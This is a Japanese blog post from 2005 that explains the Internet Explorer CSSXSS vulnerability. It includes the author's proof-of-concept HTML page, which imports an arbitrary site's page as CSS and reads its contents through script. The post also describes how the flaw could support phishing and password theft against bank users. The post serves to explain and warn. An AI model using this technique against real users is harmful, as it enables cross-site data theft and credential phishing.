2005年12月6日火曜日

IEはもう使えない? CSSXSSの恐怖

Google Desktop Exposed: Exploiting an Internet Explorer Vulnerability to Phish User Information

Matan Gillonという人がIEの脆弱性について、CSS (Cascading Style Sheet) Cross Site Scripting(CSSXSS)と名付けて報告しています。これはIEの信頼性を揺るがすもの。Google Newsを経由してGoogle Desktop検索に必要なキーを取得できるという脆弱性はすでに解決されているとのことなので、本質的な問題は、IEのCSSのimport文で読み込むページが"}{"で始まっていると、HTML全体を読み込めてしまう点に集約されます。

以下は試しに書いてみた例。importで読み込んだデータを、テキストエリアに表示します。

<html>
<head>
<title>CSSXSS</title>
<style text="text/css">
@import url("任意のサイトのURL。ページの先頭付近に"}{"を含むとなお良い");
</style>
</head>
<body>
<textarea rows="30" cols="150" id="pbody"></textarea>
</body>
<script>
var d = document.styleSheets(0).imports(0).cssText;
document.getElementById("pbody").innerText = d;
</script>
</html>

Firefoxなどのブラウザでは、CSSの構文にしたがっていないものは、@importできないようですが、IEではCSSのparserを、多少構文に不具合があっても解析できるように緩く作っているようで、HTML全体を読み込めてしまうことがあります。あるいは、指定されたWebページを読んで、ページの最初だけに開いたcurly brace("}{")を含むように変更して出力するCGIなどをURLに指定すると、任意のページをブラウザに取り込めます。検索エンジンなどは、入力したキーワード等をそのまま結果のページに表示することが多いので、もっと簡単です。

悪意のあるhackerなら、この方法で、表面的に銀行のサイト等を装ったページを作成して、そこにユーザーを誘い込みます。個人情報をsubmitしたところで、フォームに入力されたデータからパスワード等を盗むコードがデータを送信、後はもとの銀行サイトのログイン画面に普通に入ってしまうので、ユーザーは盗まれたことに気づきもしない。 これは、銀行側のサイト(server)側に落ち度は無くても、ブラウザ(client)側でページを改竄されてしまうという危険性があるので、IEのこのvulnerability(欠点)が修正されるまで手の打ちようがないのです。httpsのサイトであっても、ブラウザで見ているページに仕込まれたjavascriptでキーロギングされたら、パスワードは盗まれてしまうかも。

おそろしや。

0 件のコメント:

License

Creative Commons LicenseLeo's Chronicle by Taro L. Saito is licensed under a Creative Commons Attribution-Noncommercial-Share Alike 2.1 Japan License.